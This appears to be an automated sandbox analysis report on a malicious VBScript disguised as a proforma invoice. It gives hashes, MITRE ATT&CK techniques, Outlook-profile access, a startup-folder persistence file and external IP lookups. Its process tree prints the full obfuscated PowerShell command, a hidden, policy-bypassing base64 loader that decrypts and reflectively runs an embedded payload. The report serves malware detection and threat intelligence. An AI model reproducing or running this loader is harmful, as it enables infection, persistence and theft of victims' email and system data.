b5265d1c46a8ba04c8e10b35461ec00876119de4ca1b2e4a0a5bb3b973cc0b8f

General

Target

Sontheimer Proforma invoice.vbs
Size

182KB
MD5

beaf990fccbf28017a6e72ec92efeb43
SHA1

4a9d9dbe2bdf4736cfc8f81c792e6d7c6cb7f1e7
SHA256

2440d2269a8723ad47733885b1d51745828fa12710b6c3d3fad11d3010f7a89f
SHA512

d7d5927648778a02b3b0320f714eba68ecfde4c80eccf699752b76f62404c58917809e9ca882f2d602068bdcaa9734fa1c707a1f6aea2c18b7c441641953de09
SSDEEP

3072:69xHo0x7TLFPZZNV8wIxjdVHKp2DNjSElqHfhPy9iwb:69VxLhZV8wIxhVG0N8Hfe

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
23	5688	powershell.exe
27	5688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_540e1de8.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_540e1de8.cmd	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	checkip.dyndns.org
26	reallyfreegeoip.org
27	reallyfreegeoip.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5688	powershell.exe
5688	powershell.exe
5688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5688	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 4208	4580	WScript.exe	85
PID 4580 wrote to memory of 4208	4580	WScript.exe	85
PID 4208 wrote to memory of 316	4208	cmd.exe	87
PID 4208 wrote to memory of 316	4208	cmd.exe	87
PID 316 wrote to memory of 5688	316	cmd.exe	90
PID 316 wrote to memory of 5688	316	cmd.exe	90
PID 316 wrote to memory of 5688	316	cmd.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sontheimer Proforma invoice.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\temp_script.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\temp_script.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRkdWR5cG8gPSBAJw0KJHVzZXJweGROYW1lIHB4ZD0gJGVucHhkdjpVU0VweGRSTkFNRXB4ZDskcWh2cHhkID0gIkNweGQ6XFVzZXB4ZHJzXCR1cHhkc2VyTmFweGRtZVxkd3B4ZG0uYmF0cHhkIjtpZiBweGQoVGVzdHB4ZC1QYXRocHhkICRxaHZweGQpIHsgIHB4ZCAgV3JpcHhkdGUtSG9weGRzdCAiQnB4ZGF0Y2ggcHhkZmlsZSBweGRmb3VuZHB4ZDogJHFocHhkdiIgLUZweGRvcmVncnB4ZG91bmRDcHhkb2xvciBweGRDeWFuO3B4ZCAgICAkcHhkZmlsZUxweGRpbmVzIHB4ZD0gW1N5cHhkc3RlbS5weGRJTy5GaXB4ZGxlXTo6cHhkUmVhZEFweGRsbExpbnB4ZGVzKCRxcHhkaHYsIFtweGRTeXN0ZXB4ZG0uVGV4cHhkdC5FbmNweGRvZGluZ3B4ZF06OlVUcHhkRjgpOyBweGQgICBmb3B4ZHJlYWNocHhkICgkbGlweGRuZSBpbnB4ZCAkZmlscHhkZUxpbmVweGRzKSB7IHB4ZCAgICAgcHhkICBpZiBweGQoJGxpbnB4ZGUgLW1hcHhkdGNoICdweGReOjo6IHB4ZD8oLispcHhkJCcpIHtweGQgICAgIHB4ZCAgICAgcHhkICBXcmlweGR0ZS1Ib3B4ZHN0ICJJcHhkbmplY3RweGRpb24gY3B4ZG9kZSBkcHhkZXRlY3RweGRlZCBpbnB4ZCB0aGUgcHhkYmF0Y2hweGQgZmlsZXB4ZC4iIC1GcHhkb3JlZ3JweGRvdW5kQ3B4ZG9sb3IgcHhkQ3lhbjtweGQgICAgIHB4ZCAgICAgcHhkICB0cnlweGQgeyAgIHB4ZCAgICAgcHhkICAgICBweGQgICAkZHB4ZGVjb2RlcHhkZEJ5dGVweGRzID0gW3B4ZFN5c3RlcHhkbS5Db25weGR2ZXJ0XXB4ZDo6RnJvcHhkbUJhc2VweGQ2NFN0cnB4ZGluZygkcHhkbWF0Y2hweGRlc1sxXXB4ZC5UcmltcHhkKCkpOyBweGQgICAgIHB4ZCAgICAgcHhkICAgICBweGQkaW5qZXB4ZGN0aW9ucHhkQ29kZSBweGQ9IFtTeXB4ZHN0ZW0ucHhkVGV4dC5weGRFbmNvZHB4ZGluZ106cHhkOlVuaWNweGRvZGUuR3B4ZGV0U3RycHhkaW5nKCRweGRkZWNvZHB4ZGVkQnl0cHhkZXMpOyBweGQgICAgIHB4ZCAgICAgcHhkICAgICBweGRXcml0ZXB4ZC1Ib3N0cHhkICJJbmpweGRlY3Rpb3B4ZG4gY29kcHhkZSBkZWNweGRvZGVkIHB4ZHN1Y2NlcHhkc3NmdWxweGRseS4iIHB4ZC1Gb3JlcHhkZ3JvdW5weGRkQ29sb3B4ZHIgR3JlcHhkZW47ICBweGQgICAgIHB4ZCAgICAgcHhkICAgIFdweGRyaXRlLXB4ZEhvc3QgcHhkIkV4ZWNweGR1dGluZ3B4ZCBpbmplcHhkY3Rpb25weGQgY29kZXB4ZC4uLiIgcHhkLUZvcmVweGRncm91bnB4ZGRDb2xvcHhkciBZZWxweGRsb3c7IHB4ZCAgICAgcHhkICAgICBweGQgICAgIHB4ZEludm9rcHhkZS1FeHBweGRyZXNzaXB4ZG9uICRpcHhkbmplY3RweGRpb25Db3B4ZGRlOyAgcHhkICAgICBweGQgICAgIHB4ZCAgICBicHhkcmVhaztweGQgICAgIHB4ZCAgICAgcHhkICB9IGNweGRhdGNoIHB4ZHsgICAgcHhkICAgICBweGQgICAgIHB4ZCAgV3JpcHhkdGUtSG9weGRzdCAiRXB4ZHJyb3IgcHhkZHVyaW5weGRnIGRlY3B4ZG9kaW5ncHhkIG9yIGVweGR4ZWN1dHB4ZGluZyBpcHhkbmplY3RweGRpb24gY3B4ZG9kZTogcHhkJF8iIC1weGRGb3JlZ3B4ZHJvdW5kcHhkQ29sb3JweGQgUmVkO3B4ZCAgICAgcHhkICAgICBweGQgIH07IHB4ZCAgICAgcHhkICB9OyBweGQgICB9O3B4ZH0gZWxzcHhkZSB7ICBweGQgICAgV3B4ZHJpdGUtcHhkSG9zdCBweGQiU3lzdHB4ZGVtIEVycHhkcm9yOiBweGRCYXRjaHB4ZCBmaWxlcHhkIG5vdCBweGRmb3VuZHB4ZDogJHFocHhkdiIgLUZweGRvcmVncnB4ZG91bmRDcHhkb2xvciBweGRSZWQ7IHB4ZCAgIGV4cHhkaXQ7fTtweGRmdW5jdHB4ZGlvbiBrcHhkdGh2dShweGQkcGFyYXB4ZG1fdmFycHhkKXsJJGFweGRlc192YXB4ZHI9W1N5cHhkc3RlbS5weGRTZWN1cnB4ZGl0eS5DcHhkcnlwdG9weGRncmFwaHB4ZHkuQWVzcHhkXTo6Q3JweGRlYXRlKHB4ZCk7CSRhcHhkZXNfdmFweGRyLk1vZHB4ZGU9W1N5cHhkc3RlbS5weGRTZWN1cnB4ZGl0eS5DcHhkcnlwdG9weGRncmFwaHB4ZHkuQ2lwcHhkaGVyTW9weGRkZV06OnB4ZENCQzsJcHhkJGFlc19weGR2YXIuUHB4ZGFkZGlucHhkZz1bU3lweGRzdGVtLnB4ZFNlY3VycHhkaXR5LkNweGRyeXB0b3B4ZGdyYXBocHhkeS5QYWRweGRkaW5nTXB4ZG9kZV06cHhkOlBLQ1NweGQ3OwkkYXB4ZGVzX3ZhcHhkci5LZXlweGQ9W1N5c3B4ZHRlbS5DcHhkb252ZXJweGR0XTo6RnB4ZHJvbUJhcHhkc2U2NFNweGR0cmluZ3B4ZCgnMk5wcHhkbnhQd2hweGRnUGdNM3B4ZEErS2NxcHhkTXVkMXBweGR0NnBOc3B4ZGMzaGVncHhkT0xxekVweGRvUDVHY3B4ZD0nKTsJcHhkJGFlc19weGR2YXIuSXB4ZFY9W1N5cHhkc3RlbS5weGRDb252ZXB4ZHJ0XTo6cHhkRnJvbUJweGRhc2U2NHB4ZFN0cmlucHhkZygnMlRweGR1L3FCWnB4ZGJCTFpLcHhkaFc5V21weGRQeFdnZ3B4ZD09Jyk7cHhkCSRkZWNweGRyeXB0b3B4ZHJfdmFycHhkPSRhZXNweGRfdmFyLnB4ZENyZWF0cHhkZURlY3JweGR5cHRvcnB4ZCgpOwkkcHhkcmV0dXJweGRuX3ZhcnB4ZD0kZGVjcHhkcnlwdG9weGRyX3ZhcnB4ZC5UcmFucHhkc2Zvcm1weGRGaW5hbHB4ZEJsb2NrcHhkKCRwYXJweGRhbV92YXB4ZHIsIDAscHhkICRwYXJweGRhbV92YXB4ZHIuTGVucHhkZ3RoKTtweGQJJGRlY3B4ZHJ5cHRvcHhkcl92YXJweGQuRGlzcHB4ZG9zZSgpcHhkOwkkYWVweGRzX3ZhcnB4ZC5EaXNwcHhkb3NlKClweGQ7CSRyZXB4ZHR1cm5fcHhkdmFyO31weGRmdW5jdHB4ZGlvbiBycHhkYmNldShweGQkcGFyYXB4ZG1fdmFycHhkKXsJJGdweGRweXQ9TnB4ZGV3LU9icHhkamVjdCBweGRTeXN0ZXB4ZG0uSU8ucHhkTWVtb3JweGR5U3RyZXB4ZGFtKCwkcHhkcGFyYW1weGRfdmFyKXB4ZDsJJGdvcHhkamRjPU5weGRldy1PYnB4ZGplY3QgcHhkU3lzdGVweGRtLklPLnB4ZE1lbW9ycHhkeVN0cmVweGRhbTsJJHB4ZHR6ZmVqcHhkPU5ldy1weGRPYmplY3B4ZHQgU3lzcHhkdGVtLklweGRPLkNvbXB4ZHByZXNzcHhkaW9uLkdweGRaaXBTdHB4ZHJlYW0ocHhkJGdweXRweGQsIFtJT3B4ZC5Db21wcHhkcmVzc2lweGRvbi5Db3B4ZG1wcmVzcHhkc2lvbk1weGRvZGVdOnB4ZDpEZWNvcHhkbXByZXNweGRzKTsJJHB4ZHR6ZmVqcHhkLkNvcHlweGRUbygkZ3B4ZG9qZGMpcHhkOwkkdHpweGRmZWouRHB4ZGlzcG9zcHhkZSgpOwlweGQkZ3B5dHB4ZC5EaXNwcHhkb3NlKClweGQ7CSRnb3B4ZGpkYy5EcHhkaXNwb3NweGRlKCk7CXB4ZCRnb2pkcHhkYy5Ub0FweGRycmF5KHB4ZCk7fWZ1cHhkbmN0aW9weGRuIGh1a3B4ZG5sKCRwcHhkYXJhbV9weGR2YXIsJHB4ZHBhcmFtcHhkMl92YXJweGQpewkkaHB4ZGg9W1N5cHhkc3RlbS5weGRSZWZsZXB4ZGN0aW9ucHhkLkFzc2VweGRtYmx5XXB4ZDo6KCdkcHhkYW9MJ1tweGQtMS4uLXB4ZDRdIC1qcHhkb2luICdweGQnKShbYnB4ZHl0ZVtdcHhkXSRwYXJweGRhbV92YXB4ZHIpOwkkcHhkdWd1PSRweGRoaC5FbnB4ZHRyeVBvcHhkaW50OwlweGQkdWd1LnB4ZEludm9rcHhkZSgkbnVweGRsbCwgJHB4ZHBhcmFtcHhkMl92YXJweGQpO30kaHB4ZG9zdC5VcHhkSS5SYXdweGRVSS5XaXB4ZG5kb3dUcHhkaXRsZSBweGQ9ICRxaHB4ZHY7JGlqcHhkZj1bU3lweGRzdGVtLnB4ZElPLkZpcHhkbGVdOjpweGQoJ3R4ZXB4ZFRsbEFkcHhkYWVSJ1tweGQtMS4uLXB4ZDExXSAtcHhkam9pbiBweGQnJykoJHB4ZHFodikucHhkU3BsaXRweGQoW0VudnB4ZGlyb25tcHhkZW50XTpweGQ6TmV3THB4ZGluZSk7cHhkZm9yZWFweGRjaCAoJHB4ZG1ubHNxcHhkIGluICRweGRpamYpIHB4ZHsJaWYgcHhkKCRtbmxweGRzcS5TdHB4ZGFydHNXcHhkaXRoKCdweGQ6OiAnKXB4ZCkJewkJcHhkJHBxZWhweGQ9JG1ubHB4ZHNxLlN1cHhkYnN0cmlweGRuZygzKXB4ZDsJCWJycHhkZWFrOwlweGR9fSRxZ3B4ZHg9W3N0cHhkcmluZ1tweGRdXSRwcXB4ZGVoLlNwcHhkbGl0KCdweGRcJyk7JHB4ZGJ1eT1ycHhkYmNldSBweGQoa3RodnB4ZHUgKFtDcHhkb252ZXJweGR0XTo6RnB4ZHJvbUJhcHhkc2U2NFNweGR0cmluZ3B4ZCgkcWd4cHhkWzBdKSlweGQpOyRpdnB4ZHluPXJicHhkY2V1IChweGRrdGh2dXB4ZCAoW0NvcHhkbnZlcnRweGRdOjpGcnB4ZG9tQmFzcHhkZTY0U3RweGRyaW5nKHB4ZCRxZ3hbcHhkMV0pKSlweGQ7aHVrbnB4ZGwgJGJ1cHhkeSAkbnVweGRsbDtodXB4ZGtubCAkcHhkaXZ5biBweGQoLFtzdHB4ZHJpbmdbcHhkXV0gKCdweGQlKicpKXB4ZDsNCidADQoNCiRlc2JlZnMgPSAkZHVkeXBvIC1yZXBsYWNlICdweGQnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZXNiZWZzDQo=')) | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:5688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wpvi4dic.bv3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp_script.bat

Filesize
169KB

MD5
e009b770959b12725712474645374d0c

SHA1
8e898422cb10bb5ccffa14a198f831bc6d993c03

SHA256
4c58ef38d745fd50f3d26a4fe523691531cdaef05f3d5e14d92f2236417b5f99

SHA512
ead89e455278b2ab6cb62351e5df01cdcb38c9d2717c1bf58daa5bc2455fd976c097637fb2252931fd63cc342d9d53526fceedcdd92064a238a024a6e7eb4d80

Download Submit
memory/5688-27-0x0000000006640000-0x000000000665A000-memory.dmp

Filesize
104KB

Download
memory/5688-39-0x0000000074CDE000-0x0000000074CDF000-memory.dmp

Filesize
4KB

Download
memory/5688-10-0x0000000074CD0000-0x0000000075480000-memory.dmp

Filesize
7.7MB

Download
memory/5688-9-0x0000000005650000-0x0000000005C78000-memory.dmp

Filesize
6.2MB

Download
memory/5688-11-0x0000000005380000-0x00000000053A2000-memory.dmp

Filesize
136KB

Download
memory/5688-12-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/5688-13-0x0000000005490000-0x00000000054F6000-memory.dmp

Filesize
408KB

Download
memory/5688-7-0x0000000002D90000-0x0000000002DC6000-memory.dmp

Filesize
216KB

Download
memory/5688-23-0x0000000005C80000-0x0000000005FD4000-memory.dmp

Filesize
3.3MB

Download
memory/5688-24-0x0000000006140000-0x000000000615E000-memory.dmp

Filesize
120KB

Download
memory/5688-25-0x00000000061E0000-0x000000000622C000-memory.dmp

Filesize
304KB

Download
memory/5688-26-0x0000000007A70000-0x00000000080EA000-memory.dmp

Filesize
6.5MB

Download
memory/5688-8-0x0000000074CD0000-0x0000000075480000-memory.dmp

Filesize
7.7MB

Download
memory/5688-6-0x0000000074CDE000-0x0000000074CDF000-memory.dmp

Filesize
4KB

Download
memory/5688-33-0x0000000007500000-0x0000000007508000-memory.dmp

Filesize
32KB

Download
memory/5688-30-0x00000000080F0000-0x0000000008694000-memory.dmp

Filesize
5.6MB

Download
memory/5688-32-0x0000000007530000-0x00000000075C2000-memory.dmp

Filesize
584KB

Download
memory/5688-34-0x0000000007710000-0x0000000007720000-memory.dmp

Filesize
64KB

Download
memory/5688-29-0x0000000006740000-0x0000000006762000-memory.dmp

Filesize
136KB

Download
memory/5688-36-0x0000000007740000-0x000000000775E000-memory.dmp

Filesize
120KB

Download
memory/5688-37-0x0000000007800000-0x000000000789C000-memory.dmp

Filesize
624KB

Download
memory/5688-38-0x00000000079A0000-0x00000000079F0000-memory.dmp

Filesize
320KB

Download
memory/5688-28-0x00000000073F0000-0x0000000007486000-memory.dmp

Filesize
600KB

Download
memory/5688-40-0x0000000074CD0000-0x0000000075480000-memory.dmp

Filesize
7.7MB

Download
memory/5688-41-0x0000000008970000-0x0000000008B32000-memory.dmp

Filesize
1.8MB

Download
memory/5688-42-0x0000000007A50000-0x0000000007A5A000-memory.dmp

Filesize
40KB

Download

Analysis

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